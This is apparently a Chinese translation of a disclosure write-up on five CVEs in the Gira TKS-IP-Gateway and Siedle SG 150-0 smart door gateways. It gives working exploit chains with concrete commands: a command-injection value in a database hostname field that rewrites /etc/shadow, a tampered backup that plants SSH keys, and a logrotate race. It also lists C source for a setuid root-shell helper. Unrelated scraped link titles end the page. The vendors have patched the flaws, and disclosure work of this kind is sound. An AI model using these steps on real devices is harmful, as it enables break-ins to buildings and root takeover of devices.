对智能门禁系统的安全研究
对于许多攻击类型,需要物理访问计算机,例如插入“ Rubber Ducky”或插入物理键盘记录程序。由于通常限制对服务器和计算机的访问,因此通常通过“当攻击者已经进入房间时,无论如何我们都会被攻击”的角度来处理这些威胁向量。但是,如果相反的话怎么办?如果服务器,计算机和软件取决于物理安全性,但是物理安全性取决于计算机的安全性呢?对于所有不同类型的智能门锁,情况就是如此。我们研究了网关系统,这些系统增加了门铃解决方案,使用户可以通过网络(甚至Internet)对其进行控制。对于其中两个分别由Siedle和Gira制造的产品,我们找到了开源的固件文件并开始进行漏洞挖掘。
0x01 漏洞描述
我们在HITBAMS20的会议上进行了分享,并且我们打算将硬件带到现场演示。奇热但是,由于Corona / COVID-19 疫情会议被取消了,我们仍然在线上会议上进行了演示。
https://www.youtube-nocookie.com/embed/krFHJx08dMo?start=18140
此外,我们将在此博客文章中详细介绍漏洞利用链和技术细节。稍后,我们录制的演示和演讲将在此处提供。
我们能够在两个设备及其各自的管理Web GUI上获得root用户访问权限。这使我们能够将受害者锁定在外面,并获得我们希望连接到受感染设备的物理访问权限。有关我们的利用链的更详细的技术说明,可以在后续文章中找到。
MITER总共向我们分配了五个CVE编号:
· CVE-2020-10794: Gira TKS-IP-Gateway 4.0.7.7容易受到未经身份验证的路径遍历的攻击,从而使攻击者可以下载应用程序数据库。可以将其与CVE-2020-10795结合使用以进行远程root访问。
· CVE-2020-10795: Gira TKS-IP-Gateway 4.0.7.7易于通过Web前端的备份功能执行经过身份验证的远程代码执行。可以将其与CVE-2020-10794结合使用以进行远程root访问。
· CVE-2020-9473:1.2.4之前的S.Siedle&Soehne SG 150-0智能网关具有无密码ftp ssh用户。通过使用漏洞利用链,可以访问网络的攻击者可以在网关上获得root访问权限。
· CVE-2020-9474:1.2.4之前的S.Siedle&Soehne SG 150-0智能网关允许通过Web前端中的备份功能远程执行代码。通过使用漏洞利用链,可以访问网络的攻击者可以在网关上获得root访问权限。
· CVE-2020-9475:1.2.4之前的S.Siedle&Soehne SG 150-0智能网关允许通过logrotate中的竞争条件提升本地特权。通过使用漏洞利用链,可以访问网络的攻击者可以在网关上获得root访问权限。
我们联系了两家供应商,并告知他们我们的发现。到现在为止,我们发现的所有漏洞都不再对最新版本系统有效。Siedle甚至为我们提供了预发布的测试固件映像,因此我们可以检查所有漏洞是否在更新发布之前已修复。总体而言,我们对两家供应商的回应感到非常满意,因为这清楚地表明他们意识到了调查结果的重要性。两家供应商都立即按照自己的设置对其进行了验证,并专业地解决了这些问题。
0x02 Gira漏洞利用链
Gira TKS-IP-Gateway的主板
CVE-2020-10794:Gira TKS-IP-网关4.0.7.7中未经身份验证的路径遍历
当我们开始研究Gira TKS IP网关时,我们在Web界面中发现了路径遍历漏洞。使用此/app/db/gira.db文件,我们下载了文件。在此文件中,管理员密码为md5-hash,如果密码不是特别强的话,哈希很容易被破解。此外,我们下载了相同的/app/sdintern/messages文件。如果有人最近登录了该计算机,该文件将以纯文本格式生成密码。使用获得的凭据,我们能够登录到Web前端并重新配置设备或打开与该设备连接的后门。
CVE-2020-10795:Gira TKS-IP-网关4.0.7.7中身份验证的远程代码执行
现在我们已经在Web界面上获得了管理员特权,我们备份了gira.db。该备份是TAR文件,我们可以对其进行解压缩和修改:
sqlite3 backup/gira-V0101.db "UPDATE networksettings SET Name = 'tks-ip-gw/g -f /app/sdintern/segheg -i /etc/shadow -e s/foo/bar'"
上面的代码将sed命令放入数据库中。在sedheg我们修改的tar文件将取代密码哈希root和D3.IPGWvG,如下所示:
#!/bin/shs/D3.IPGWvG!:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//D3.IPGWvG!:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/s/root:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//root:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/
两个用户要么都是root用户,要么可能已经成为sudo的root用户。准备好之后,我们再次打包修改后的文件。然后,我们通过还原功能将备份上传到Web界面。这触发了我们伪造的新网络设置(标记为“ ==>”),该设置是从修改后的sqlite数据库读取的。
[...]NETWORK=`/opt/lin/bin/sqlite3 /var/db/gira.db "select Id, Name, Nameserver, Dhcp, Gateway, Ip, Netmask from networksettings;"`[...]==> HNAME=`echo $NETWORK | /usr/bin/awk -F"|" '{print $2}'`;NS=`echo $NETWORK | /usr/bin/awk -F"|" '{print $3}'`;BOOTMODE=`echo $NETWORK | /usr/bin/awk -F"|" '{print $4}'`;GW=`echo $NETWORK | /usr/bin/awk -F"|" '{print $5}'`;IPADDR=`echo $NETWORK | /usr/bin/awk -F"|" '{print $6}'`;NETMASK=`echo $NETWORK | /usr/bin/awk -F"|" '{print $7}'`;
然后,在的sed命令中使用了“ $ HNAME”变量/app/bin/network.sh。
echo "0" > /tmp/dhcpecho "nameserver 192.168.0.1" > /etc/resolv.conf echo -en "HOSTNAME: $HNAME"echo -en ""echo "$HNAME" > /etc/hostname==> sed 's/'@NAME@'/'$HNAME'/g' /usr/local/etc/avahi/avahi-daemon.conf-tmpl > /usr/local/etc/avahi/avahi-daemon.conf
这样,我们将root密码更改为我们已知的密码。最后一步是登录到机器,为此我们需要dropbear ssh软件包。它是备用的ssh服务器,但是设备上存在的版本太旧,无法与现代的openssh客户端兼容。使用dbclient -p
https://player.vimeo.com/video/410960486
0x03 Siedle漏洞利用链
S. Siedle&SöhneSG 150-0智能网关
CVE-2020-9473:1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中空无密码FTP用户
对于Siedle SG-150,我们进入系统的入口是为ftp用户设置密码。这是可能的,因为固件不包含该用户的任何密码。通过ssh设置密码后,我们ssh -v -N ftp@
我们在公共固件中的一些shell脚本和配置文件中找到了该数据库的静态root密码“ siedle”。使用密码和转发的端口,我们可以使用命令以管理特权访问数据库mysql -h 127.0.0.1 -u root -P 1337 -psiedle。
该数据库具有不同的目的,一个目的是存储用于Web应用程序管理设备的凭据。通过对数据库具有root用户访问权限,我们可以为Web应用程序添加具有管理员特权的另一个用户。现在,我们可以控制和重新配置连接到网关的每个设备,这使我们能够进行连接。
CVE-2020-9474:1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中的经过身份验证的远程代码执行
这将使我们获得Shell访问权限。从Web应用程序,我们能够下载配置备份config.bak文件。这是一个squashfs,一旦解压缩,其中包含一个backup.sql文件。我们生成了一个ssh密钥,并将以下四行添加到backup.sql文件的顶部:
\! mkdir /var/lib/mysql/.ssh\! echo >> /var/lib/sql/.ssh/authorized_keys\! chmod 0700 /var/lib/mysql/.ssh\! chmod 0600 /var/lib/mysql/.ssh/authorized_keys
然后,我们重建了squashfs并将其作为备份上传到Web应用程序,该文件用于还原过程。等待几分钟的恢复过程完成后,我们便以SSH用户的私钥通过ssh访问了该设备,因为运行了受操纵文件中的所有命令,~/.ssh/authorized_keys并创建了mysql用户的文件。
CVE-2020-9475:版本1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中的本地特权升级
为了提升特权,我们在logrotate脚本中使用了错误的配置。此外,我们编写了三个小程序,即bind,symlink和root。源代码将在本文的附录中。由于已经具有shell程序访问权限,因此我们对ARM程序进行了交叉编译,并将其复制到设备中。 我们想触发MySQL logrotate脚本的以下部分:
MYADMIN="/usr/bin/mysqladmin --user=root --password=$MYSQL_ROOT_PW" $MYADMIN ping &> /dev/null if [ $? -eq 0 ]; then$MYADMIN flush-logselse# manually move it, to mimic above behaviourmv -f /var/log/mysql/mysql.log /var/log/mysql/mysql.log-old# recreate mysql.log, else logrotate would miss ittouch /var/log/mysql/mysql.logchown mysql.mysql /var/log/mysql/mysql.logchmod 0664 /var/log/mysql/mysql.logfi
要触发这部分代码,我们需要确保mysqladmin ping返回的状态码不是零。如果mysql服务器未运行,则只有这种情况。更改凭据甚至删除整个数据库都无济于事,因为mysqladmin仍会返回零,我们需要数据库不可用。但是由于如果你关闭它,它只会重新启动,所以我们需要将其挂载出来。这是第一个利用程序进入的地方:bind。我们使用它来将自身绑定到mysql数据库正在使用的静态端口:
while true; do ./bind 63601; sleep 1; done
在第二个终端中,我们关闭数据库,然后在启动时尝试将自身绑定到其端口时将挂起。因为mysql会在关机和启动之间释放端口,所以我们可以在它们之间进行竞争并使用我们的程序阻止该端口。这种方式mysqladmin返回了一个,我们必须执行else条件。
然后,我们需要第二个程序:symlink。现在的目标是在其中创建一个/etc/logrotate.d/我们可以控制和写入的文件,因为logrotate将以root用户身份执行该目录中的所有脚本。为了达到目的执行logrotate脚本,用于清理MySQL的日志文件,并设法从/var/log/mysql/mysql.log创建符号链接到之间mv和touch的/etc/logrotate.d/rootme。Rootme当时不存在,但这并不重要。按照符号链接,logrotate /etc/logrotate.d/rootme以root身份创建文件,然后将chown其提供给mysql用户。为了阻止mysql写入我们准备的文件,我们删除了symlink并/var/log/mysql/mysql.log为其创建了一个新文件。之后,我们将/etc/logrotate.de/rootme用以下内容填充:
/var/log/mysql/rootme.log {delaycompressnosharedscriptscopyfirstactionchown root:root /tmp/rootchmod +s /tmp/rootmv -f /var/log/mysql/rootme.log /var/log/mysql/rootme.log-oldtouch /var/log/mysql/rootme.logchown mysql.mysql /var/log/mysql/rootme.logchmod 0664 /var/log/mysql/rootme.logfiendscriptlastactionmv -f /var/log/mysql/rootme.log-old /var/log/mysql/rootme.log.1endscript}
程序/tmp/root是我们的第三个程序和suidrootshell。完成所有操作后,我们必须填充/var/log/mysql/rootme.log并再次触发logrotate。现在,我们的suid二进制文件具有root特权,可以通过以下方式使用:/tmp/root passwd root。现在,我们可以更改root用户的密码,从现在起就可以完全控制系统了。
https://player.vimeo.com/video/410961877
0x04 代码片段
bind.c
#include #include #include #include #include #include #include void error(const char *msg) {perror(msg);exit(1);}int main(int argc, char **argv) {int sockfd, newsockfd, portno, pid;socklen_t clilen;struct sockaddr_in serv_addr, cli_addr;if (argc < 2) {fprintf(stderr,"ERROR, no port provided\n");exit(1);}sockfd = socket(AF_INET, SOCK_STREAM, 0);if (sockfd < 0) error("ERROR opening socket");bzero((char *) &serv_addr, sizeof(serv_addr));portno = atoi(argv[1]);serv_addr.sin_family = AF_INET;serv_addr.sin_addr.s_addr = INADDR_ANY;serv_addr.sin_port = htons(portno);if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) error("ERROR on binding");listen(sockfd,5);accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);return 0;}
symlink.c
#include int main(int argc, char **argv) {int ret;char *watchPath = argv[1];char *linkPath = argv[2];while(1) {ret = symlink(linkPath, watchPath);if (ret == 0)return 0;}return 0;}
root.c
#include #include #include #include #include char *join_command(char **commands) {char *res = (char *)malloc(strlen(commands[0]));strncpy(res, commands[0], strlen(commands[0]));for (char **command = ++commands; *command != NULL; command++) {res = (char *)realloc(res, strlen(res) + strlen(*command) + 2);strcat(res, " ");strcat(res, *command);}return res;}int main(int argc, char **argv) {if (argc < 2) {printf("usage: ./root ");}setuid(0);setgid(0);system(join_command(++argv));return 0;}
对智能门禁系统的安全研究相关推荐
- 2021-2027年中国智能门禁系统市场研究及前瞻分析报告
[报告类型]产业研究 [报告价格]¥4500起 [出版时间]即时更新(交付时间约3个工作日) [发布机构]智研瞻产业研究院 [报告格式]PDF版 本报告介绍了中国智能门禁系统行业市场行业相关概述.中国 ...
- 第一届嵌入式电子竞赛方案设计——智能门禁系统
常规的门需要钥匙来开,但是我们常常忘记或者丢失小小的钥匙,而且也极不安全,现在我想开发一个智能门禁系统,大大的方便人们的生活,门禁采用刷卡.手机app输入密码.指纹解锁来开.并且该门禁系统采用无线充电 ...
- 【Paper】2014_多智能体系统一致性问题研究_唐骥宇
原文地址:[1]唐骥宇. 多智能体系统一致性问题研究[D].长安大学,2014. 2014_多智能体系统一致性问题研究_唐骥宇
- 智能卡门禁管理系统_汉中停车场智能门禁系统简介,保安服务收费,行业知识
首页 > 新闻列表 > 正文 作者:佚名 点击数: 5更新时间:2020-11-04 08:21:21 导读:名将安防为您提供汉中停车场智能门禁系统简介,保安服务收费的相关知识与详情: 接 ...
- 数字图像处理系统组成 及研究内容
数字图像处理系统组成 及研究内容 .数字图像处理系统的组成 基本图象处理系统的结构 图像输入设备 扫描仪分辨率与扫描图象的大小 分辨率:单位长度上采样的像素个数DPI(dot/inch) 图像输出设备 ...
- STM32项目分享---MQTT智能门禁系统(含APP控制)
前言 自己写了一个简单的MQTT协议的智能门禁系统,包含了一些基本功能,可供想学习MQTT或者RC522的同学进行一个学习,资源连接放到最后,需要的同学自取 资源囊括 智能门禁使用说明 连线图 1. ...
- 用于传感器互操作性问题的指纹匹配系统的大规模研究
用于传感器互操作性问题的指纹匹配系统的大规模研究 文摘 指纹是一种常用的生物特征识别方式,被执法机构和商业应用广泛用于身份验证.现有指纹匹配方法的设计基于以下假设:在注册和验证过程中,使用同一传感器捕 ...
- matlab限幅器无饱和怎么设置,基于MATLAB 的直流电动机双闭环调速系统的仿真研究...
基于MATLAB 的直流电动机双闭环调速系统 的仿真研究 摘要:本文介绍了利用MATLAB 软件中的Simulink 组件对直流电动机双闭环调速系统进行仿真,获得了反映系统性能的曲线,并对仿真 结果进 ...
- 【学习笔记】《基于φ-OTDR的分布式扰动传感系统定位算法研究-北交-通信与信息系统-吴》重点笔记
目录 一.绪论 1.1 引言 1.2 分布式光纤传感技术 1.2.1 基于瑞利散射的分布式光纤传感技术 1.2.2 基于拉曼散射的分布式光纤传感技术 1.2.3 基于布里渊散射的分布式光纤传感技术 1 ...
最新文章
- Blender与UE5完美结合全流程创作游戏资产视频教程
- 在linux中只将“桌面”修改成“Desktop”而系统仍然使用中文
- LSTM之父发文抨击本田奖:请尊重原创!
- 什么!在CSS中的重要意义? [重复]
- 因特尔显卡自定义分辨率_iGame RTX 30系显卡《赛博朋克2077》测试
- javafx 剪切板_JavaFX技巧18:路径剪切
- Java垃圾回收(4)
- ESlint静态代码检测工具安装
- python变量自加一_Python个人练习项目 2-1
- 【Flink】FLink SQL 如何使用嵌套格式的Schema
- next.js 安装简易教程
- Proteus软件的安装与使用方法(超详细)
- 数学建模(2)topsis分析法
- 使用RawImage播放视频不清晰(改变视频比例后不清晰)的问题解决
- CTF在线工具及学习资料汇总
- 网站pc端和手机端视频的处理
- 【JS】jQuery实现弹幕效果
- User must be authenticated with Spring Security before authorization can be completed.解决方法
- 7.26 5 优化浪漫 恋爱中的经济学
- Ubuntu搭建CTFd平台实现动态靶机的过程
热门文章
- linux硬盘设备与接口关系,Linux与硬盘分区
- [附源码]java+ssm计算机毕业设计基于web的学生成绩分析系统d7l60(源码+程序+数据库+部署)
- jieqi(杰奇)cms v1.6 php代码执行0day漏洞,杰奇CMS (=1.7) SQL注入漏洞 - 网站漏洞 - iick's blog...
- 职教云JAVA课程答案_智慧职教云课堂Java程序基础章节测试答案
- 加盟炸酱面女孩韩式面馆 让你快速拥有一家特色快餐店
- 无人驾驶小车调试笔记(一)-- 调试环境部署
- 白鹭引擎开发QQ玩一玩轻游戏之Windows配置开发环境
- 当QQ号码也成为稀缺资源
- 2020G1工业锅炉司炉证考试及G1工业锅炉司炉实操考试视频
- PDF阅读软件的使用方法